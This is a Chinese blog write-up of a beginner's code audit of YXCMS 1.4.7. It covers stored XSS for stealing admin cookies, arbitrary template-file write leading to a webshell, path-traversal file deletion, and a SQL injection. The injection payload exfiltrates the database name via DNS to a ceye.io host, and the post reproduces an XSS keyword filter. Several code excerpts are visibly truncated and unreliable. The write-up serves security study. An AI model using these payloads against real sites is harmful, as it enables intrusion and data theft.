热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

代码审计——YXCMS

 前言YXcms是一个代码审计入门级的cms,比较适合想我这样的小白玩家进行操作。。。我一直想尝试审计一个cms,但是因为各种原因,一直搁置了。尝试分析一下YXCMS。。。 相关环境源码信息 : Yx

 

前言

YXcms是一个代码审计入门级的cms,比较适合想我这样的小白玩家进行操作。。。

我一直想尝试审计一个cms,但是因为各种原因,一直搁置了。

尝试分析一下YXCMS。。。

 

相关环境

源码信息 : Yxcms php建站系统 1.4.7
本地环境 : phpstudy2018
下载地址 : 175.6.244.211:88/uploads/userup/1596/YXcmsApp1.4.7.zip

 

安装环境

具体的安装和使用的详细可以上官网查看https://www.kancloud.cn/yongheng/yxcms

 

YXcms代码审计



YXcms目录结构

YPS7h8.png












































YXcms目录结构
data存放备份数据
protected网站程序核心文件夹
public存放css、images、js、swf等模板公用文件
upload存放上传文件
.htaccessapache伪静态规则文件
httpd.iniiis伪静态规则文件
index.php网站入口
robots.txtrobots协议
升级日志.txt详细升级日志记录文件
















































protected文件夹一些重要的路径:
protected/base控制器、模型以及接口的父类
protected/cache数据库缓存、模板缓存等
protected/includecanphp核心
protected/config.php系统全局配置
protected/core.php系统核心函数
protected/apps存放应用
protected/apps/admin后台
protected/apps/default前台
protected/apps/member会员中心
protected/apps/install系统安装

YXcms1.4.7是mvc路由模式开发的。。。
这个版本后台有好几个严重漏洞,
前台有一个储存型XSS,要利用也需与管理员交互。

我们一个一个来进行分析。。。

 

前台存储型XSS



漏洞复现

前台有留言板的功能,进行测试:

YPUuIs.png

当管理员在后台查看留言的时候,就能触发xss:

YPUJLF.png

可以通过这个xss来获取管理员的COOKIE,从而进入网站后台。。


代码分析

让我们看一下代码的实现:
首先前台留言板的代码:

前台的文件源码protected/apps/default/controller/columnController.php

public function index()
{
$ename=in($_GET['col']);
if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
$path=$sortinfo['path'].','.$sortinfo['id'];
$deep=$sortinfo['deep']+1;
$this->col=$ename;
switch ($sortinfo['type']) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://图集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://单页
$this->page($sortinfo,$path,$deep);
break;
case 4://应用
break;
case 5://自定义
break;
case 6://表单
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception('未知的栏目类型~', 404);
break;
}
}
...
protected function extend($sortinfo,$path,$deep)
{
$tableid=$sortinfo['extendid'];
if(empty($tableid)) $this->error('表单栏目不存在~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
$urls=explode('|', $sortinfo['url']);
// var_dump($tableinfo);
// var_dump($urls);
// exit();
if (!$this->isPost()) {
...
}else{
session_starts();
$verify=session('verify');
session('verify',null);
if(empty($verify) || $_POST['checkcode']!=$verify) $this->error('验证码错误,请重新输入');
for($i=1;$i if(is_array($_POST[$tableinfo[$i]['tableinfo']])){
$data[$tableinfo[$i]['tableinfo']]=in(deletehtml(implode(',',$_POST[$tableinfo[$i]['tableinfo']])));
$data[$tableinfo[$i]['tableinfo']]=$data[$tableinfo[$i]['tableinfo']]?in(deletehtml($data[$tableinfo[$i]['tableinfo']])):'';
}else{
if(strlen($_POST[$tableinfo[$i]['tableinfo']])>65535) $this->error('提交内容超过限制长度~');
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']],true);
}
}
$data['ip']=get_client_ip();
$data['ispass']=0;
$data['addtime']=time();
if(empty($urls[1])) $jump=$_SERVER['HTTP_REFERER'];
else{
$jurl=explode(',',$urls[1]);
if(!empty($jurl[1])){
$arr=explode('/',$jurl[1]);
if(!empty($arr)){
$canshu=array();
foreach ($arr as $vo) {
$val=explode('=',$vo);
$canshu[$val[0]]=$val[1];
}
}
}
$jump=url($jurl[0],$canshu);
}
$mes=$urls[2]?$urls[2]:'提交成功请等待审核~';
if(model('extend')->Extin($tableinfo[0]['tableinfo'],$data)) $this->success($mes,$jump);
else $this->error('提交失败~');
}
}

这里前端对xss过滤不完善。。
只对tname参数进行了验证deletehtmlhtml_in

deletehtml函数
/protected/include/lib/common.function.php

//去除html js标签
function deletehtml($document) {
$document = trim($document);
if (strlen($document) <= 0)
{
return $document;
}
$search = array ("''si", // 去掉 Javascript
"'<[/!]*?[^<>]*?>'si", // 去掉 HTML 标记
"'([rn])[s]+'", // 去掉空白字符
"'&(quot|#34);'i", // 替换 HTML 实体
"'&(amp|#38);'i",
"'&(lt|#60);'i",
"'&(gt|#62);'i",
"'&(nbsp|#160);'i"
); // 作为 PHP 代码运行
$replace = array ("",
"",
"\1",
""",
"&",
"<",
">",
" "
);
return @preg_replace ($search, $replace, $document);
}

html_in函数 对html代码进行xss识别,看是否存在危险的html标签对,并进行过滤
使用htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。:

/protected/include/lib/common.function.php

//html代码输入
function html_in($str,$filter=false){
if($filter){
$str=RemoveXSS($str);
}
$str=htmlspecialchars($str);
if(!get_magic_quotes_gpc()) {
$str = addslashes($str);
}
return $str;
}

RemoveXSS函数 对一些危险的标签对 进行了过滤,使其不能进行正常的xss功能,:

function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as
// note that you have to handle splits with n, r, and t later since they *are* allowed in some inputs
$val = preg_replace('/([x00-x08,x0b-x0c,x0e-x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|'\';
for ($i = 0; $i // ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are t, n, and r
$ra1 = Array('Javascript', 'Vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i $pattern = '/';
for ($j = 0; $j if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).''.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}

测试了一下,发现前端输入在数据库中会被存储为load=alert(1)>

我们在来看看后端的代码:
后台的文件源码protected/apps/admin/controller/extendfieldController.php

public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('参数错误~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
// var_dump($info);
// exit();
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
else
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
}
if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
else $this->error('信息修改失败~');
}
}

直接从数据库中取值,然后就是正常的给页面返回值了:

实现代码:
/protected/apps/admin/view/extendfield_mesedit.php


$cont.='';
for($i=1;$i $cont.= ''.$tableinfo[$i]['name'].':';
switch ($tableinfo[$i]['type']) {
case 1:
$cont.= '';
break;
case 2:
$cont.= '';
break;
case 3:
$cont.= '';
break;
case 4:
$cont.= '';
break;
case 5:
$cont.= '';
$cont.= '';
break;
case 6:
$chooses=explode("rn",$tableinfo[$i]['defvalue']);
foreach ($chooses as $vo) {
$vos=explode(",",$vo);
$nowval=array();
$nowval=explode(",",$info[$tableinfo[$i]['tableinfo']]);
$cont.= (in_array($vos[0],$nowval))?$vos[1].'':$vos[1].'
';
}
break;
}
$cont.= '';
}
echo $cont;

只有case3 使用了html_out函数,

这个html_out函数操作就很骚。。。
html代码输出利用htmlspecialchars_decode将特殊的 HTML 实体转换回普通字符。。那么上面的被实体化的又被转换了回来。。。就可能会有XSS漏洞。。。

/protected/include/lib/common.function.php

//html代码输出
function html_out($str){
if(function_exists('htmlspecialchars_decode'))
$str=htmlspecialchars_decode($str);
else
$str=html_entity_decode($str);
$str = stripslashes($str);
return $str;
}

别的参数,都被html实体化了为:load=alert(2)> ,只有留言内容用了html_out函数,被转换了回来。。
被转换为了load=alert(4)> 但是存在
测试了一下竟然成功xss:

YPxLfU.png

是因为这个富文本编译器的原因导致的xss导致了被吞,只剩下执行了xss代码。(这里有点不是很清晰,找文章也没找到一个合理的解释,如果有大佬知道原理,请告诉我一下)

可以利用这个漏洞来获取管理员的COOKIE,进入后台。。。

 

任意文件写入(getshell)



漏洞复现

进入网站后台。
/index.php?r=admin/set/tpadd&Mname=default
新建模板文件:

YiVDXV.png

可以创建任意的文件。。
通过目录结构,可以找到新的模板文件的位置/protected/apps/default/view/default/phpinfo.php

YiZPAg.png

可以看到是我们写入的文件被执行了,所有可以写入一句话木马,来进行getshell。。


代码分析

代码位置protected/apps/admin/controller/setController.php

public function tpadd()
{
$tpfile=$_GET['Mname'];
if(empty($tpfile)) $this->error('非法操作~');
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
if($this->isPost()){
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
$filepath=$templepath.$filename.'.php';
if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error('模板文件创建失败!');
}
$this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));
}else{
$this->tpfile=$tpfile;
$this->display();
}
}

这里$_GET['Mname']是新增模板文件的模板名字。。如果没有就会error('非法操作~');
新增模板的文件名和文件内容 是通过post进行传输的。

这里的文件保存路径就是$templepath=protected/apps/default/view/default/

然后对文件名和文件内容进行了非空验证if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空'); 别的没有验证。。。

验证了一下文件的路径:if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
追踪这个函数ifillegal:
代码位置/protected/apps/admin/controller/setController.php

protected function ifillegal($path)
{
if(strstr($path,"./")||strstr($path,".\")||!strstr($path,"/view/")) return true;
else return false;
}

也没有什么问题,然后就可以创建模板文件了。。

看完代码发现对文件内容没有任何的要求,直接getshell,这种管理员直接可以创建可执行文件的行为是很危险的。。。

 

任意文件删除(一)



漏洞复现

这个漏洞还是在后台。。。
看到了这里有一个删除的按钮

Yiuxw6.png

点击删除,进行抓包:

通过控制fname参数可以实现任意文件删除的功能。。

YiKk6A.png


代码分析

代码位置protected/apps/admin/controller/filesController.php

public function del()
{
$dirs=in($_GET['fname']);
$dirs=str_replace(',','/',$dirs);
$dirs=ROOT_PATH.'upload'.$dirs;
if(is_dir($dirs)){del_dir($dirs); echo 1;}
elseif(file_exists($dirs)){
if(unlink($dirs)) echo 1;
}else echo '文件不存在';
}

fname进行替换操作str_replace(',','/',$dirs);
讲参数最前面的分号(%2C)替换为/

然后完整的拼接路径,看文件是否存在,存在就进行删除。。。
这里没有读传入的参数进行过滤,
可以及逆行上跳目录,从而达到任意文件删除的效果。。。

 

任意文件删除(二)



漏洞复现

漏洞位置一如既往的还在后台:

在对文章编辑的页面上,发现存在删除已上传的图片的功能。。

YiMl4O.png

设置抓包,点击删除:

YiQ8oV.png

虽然显示的是缩略图不存在,但是通过查看发现已经删除了123.txt这个文件

也是存在任意文件删除


代码分析

代码位置/protected/apps/admin/controller/photoController.php

public function delpic()
{
if(empty($_POST['picname'])) $this->error('参数错误~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '图片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '缩略图不存在~';return;}
echo '原图以及缩略图删除成功~';
}

这个代码和上面的那个任意文件删除,差不多,都是对参数的过滤不严谨,导致可以上跳目录,删除任意文件。。。

 

SQL注入



漏洞复现

url:/index.php?r=admin/fragment/index

Yi63i8.png

利用ceye得到的回显。。。
用bp抓包,修改id为 payload:2 and if((select load_file(concat('\\',(select database()),'.36rdia.ceye.io\abc'))),2,2)

Yi6qOA.png

在ceye上面可以得到回显:

YicZkV.png

得到了数据库名称yxcms


代码分析

代码位置protected/apps/admin/controller/fragmentController.php

public function del()
{
if(!$this->isPost()){
$id=intval($_GET['id']);
if(empty($id)) $this->error('您没有选择~');
if(model('fragment')->delete("id='$id'"))
echo 1;
else echo '删除失败~';
}else{
if(empty($_POST['delid'])) $this->error('您没有选择~');
$delid=implode(',',$_POST['delid']);
if(model('fragment')->delete('id in ('.$delid.')'))
$this->success('删除成功',url('fragment/index'));
}
}

主要就是这一句话if(model('fragment')->delete('id in ('.$delid.')'))

追踪一下这个delete函数

先找一下这个fragmentModel
代码位置:protected/apps/admin/model/fragmentModel.php

class fragmentModel extends baseModel{
protected $table = 'fragment';
}

发现没有任何东西,去这个baseModel里面找一下

代码位置:protected/base/model/baseModel.php

class baseModel extends model{
protected $prefix='';
public function __construct( $database= 'DB',$force = false ){
parent::__construct();
$this->prefix=config('DB_PREFIX');
}
}

看一下这个model

代码位置:protected/base/model/model.php

public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}

这里又有一个delete(),这个应该还要找一下:

位置:protected/include/core/cpModel.class.php,

public function delete() {
$table = $this->options['table']; //当前表
$where = $this->_parseCondition(); //条件
if ( empty($where) ) return false; //删除条件为空时,则返回false,避免数据不小心被全部删除
$this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}

这里也是为sql语句赋值,然后拼接sql语句的作用。。

获取一下sql语句为DELETE FROM yx_fragment WHERE id in (3)。。。

需要关注这个代码:$where = $this->_parseCondition(); //条件

代码位置:protected/include/core/cpModel.class.php

private function _parseCondition() {
$cOndition= $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}

这里$cOndition= $this->db->parseCondition($this->options);

看一下parseCondition这个函数:

位置protected/include/core/db/cpMysql.class.php

public function parseCondition($options) {
$cOndition= "";
if(!empty($options['where'])) {
$cOndition= " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$cOndition= substr($condition, 0,-4);
} else {
$cOndition= "";
}
}
if( !empty($options['group']) && is_string($options['group']) ) {
$condition .= " GROUP BY " . $options['group'];
}
if( !empty($options['having']) && is_string($options['having']) ) {
$condition .= " HAVING " . $options['having'];
}
if( !empty($options['order']) && is_string($options['order']) ) {
$condition .= " ORDER BY " . $options['order'];
}
if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
$condition .= " LIMIT " . $options['limit'];
}
if( empty($condition) ) return "";
return $condition;
}

大部分代码都是为变量赋值的,
里面有一句代码escape($value) 应该是一个过滤函数

查看一下这个函数escape

//数据过滤
public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
}
if( is_array($value) ) {
return array_map(array($this, 'escape'), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value, $link) . "'";
}
}

发现只有当我们传入的值为数组的时候,会对数组中的每个参数进行mysql_real_escape_string()函数进行处理。

sql语句为DELETE FROM yx_fragment WHERE id in ($id)

由于注入语句并没有单引号包裹,所以说可以直接进行注入,

但是没有页面的回显,可以利用ceye平台进行注入,在那里可以看到注入的回显。进行sql注入。

 

总结

第一次审计一个cms,虽然这是一个入门级的cms,比较简单,但是也从中学到了点知识。。。

审计代码要有耐心。。。找函数的时候直接用Seay源码审计系统中的全局搜索比较方便,自己乱找的话,心态会崩。。。

 

参考

https://www.secshi.com/18986.html
ceye
https://xz.aliyun.com/t/2734#toc-0


推荐阅读
  • 一句话解决高并发的核心原则
    本文介绍了解决高并发的核心原则,即将用户访问请求尽量往前推,避免访问CDN、静态服务器、动态服务器、数据库和存储,从而实现高性能、高并发、高可扩展的网站架构。同时提到了Google的成功案例,以及适用于千万级别PV站和亿级PV网站的架构层次。 ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • t-io 2.0.0发布-法网天眼第一版的回顾和更新说明
    本文回顾了t-io 1.x版本的工程结构和性能数据,并介绍了t-io在码云上的成绩和用户反馈。同时,还提到了@openSeLi同学发布的t-io 30W长连接并发压力测试报告。最后,详细介绍了t-io 2.0.0版本的更新内容,包括更简洁的使用方式和内置的httpsession功能。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • 本文介绍了关于apache、phpmyadmin、mysql、php、emacs、path等知识点,以及如何搭建php环境。文章提供了详细的安装步骤和所需软件列表,希望能帮助读者解决与LAMP相关的技术问题。 ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • 本文介绍了在Linux下安装和配置Kafka的方法,包括安装JDK、下载和解压Kafka、配置Kafka的参数,以及配置Kafka的日志目录、服务器IP和日志存放路径等。同时还提供了单机配置部署的方法和zookeeper地址和端口的配置。通过实操成功的案例,帮助读者快速完成Kafka的安装和配置。 ... [详细]
  • 本文讨论了在手机移动端如何使用HTML5和JavaScript实现视频上传并压缩视频质量,或者降低手机摄像头拍摄质量的问题。作者指出HTML5和JavaScript无法直接压缩视频,只能通过将视频传送到服务器端由后端进行压缩。对于控制相机拍摄质量,只有使用JAVA编写Android客户端才能实现压缩。此外,作者还解释了在交作业时使用zip格式压缩包导致CSS文件和图片音乐丢失的原因,并提供了解决方法。最后,作者还介绍了一个用于处理图片的类,可以实现图片剪裁处理和生成缩略图的功能。 ... [详细]
  • 本文介绍了OkHttp3的基本使用和特性,包括支持HTTP/2、连接池、GZIP压缩、缓存等功能。同时还提到了OkHttp3的适用平台和源码阅读计划。文章还介绍了OkHttp3的请求/响应API的设计和使用方式,包括阻塞式的同步请求和带回调的异步请求。 ... [详细]
  • 本文介绍了使用Spark实现低配版高斯朴素贝叶斯模型的原因和原理。随着数据量的增大,单机上运行高斯朴素贝叶斯模型会变得很慢,因此考虑使用Spark来加速运行。然而,Spark的MLlib并没有实现高斯朴素贝叶斯模型,因此需要自己动手实现。文章还介绍了朴素贝叶斯的原理和公式,并对具有多个特征和类别的模型进行了讨论。最后,作者总结了实现低配版高斯朴素贝叶斯模型的步骤。 ... [详细]
  • 单页面应用 VS 多页面应用的区别和适用场景
    本文主要介绍了单页面应用(SPA)和多页面应用(MPA)的区别和适用场景。单页面应用只有一个主页面,所有内容都包含在主页面中,页面切换快但需要做相关的调优;多页面应用有多个独立的页面,每个页面都要加载相关资源,页面切换慢但适用于对SEO要求较高的应用。文章还提到了两者在资源加载、过渡动画、路由模式和数据传递方面的差异。 ... [详细]
  • Activiti7流程定义开发笔记
    本文介绍了Activiti7流程定义的开发笔记,包括流程定义的概念、使用activiti-explorer和activiti-eclipse-designer进行建模的方式,以及生成流程图的方法。还介绍了流程定义部署的概念和步骤,包括将bpmn和png文件添加部署到activiti数据库中的方法,以及使用ZIP包进行部署的方式。同时还提到了activiti.cfg.xml文件的作用。 ... [详细]
  • 解决Sharepoint 2013运行状况分析出现的“一个或多个服务器未响应”问题的方法
    本文介绍了解决Sharepoint 2013运行状况分析中出现的“一个或多个服务器未响应”问题的方法。对于有高要求的客户来说,系统检测问题的存在是不可接受的。文章详细描述了解决该问题的步骤,包括删除服务器、处理分布式缓存留下的记录以及使用代码等方法。同时还提供了相关关键词和错误提示信息,以帮助读者更好地理解和解决该问题。 ... [详细]
author-avatar
x深藏的爱x_402
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有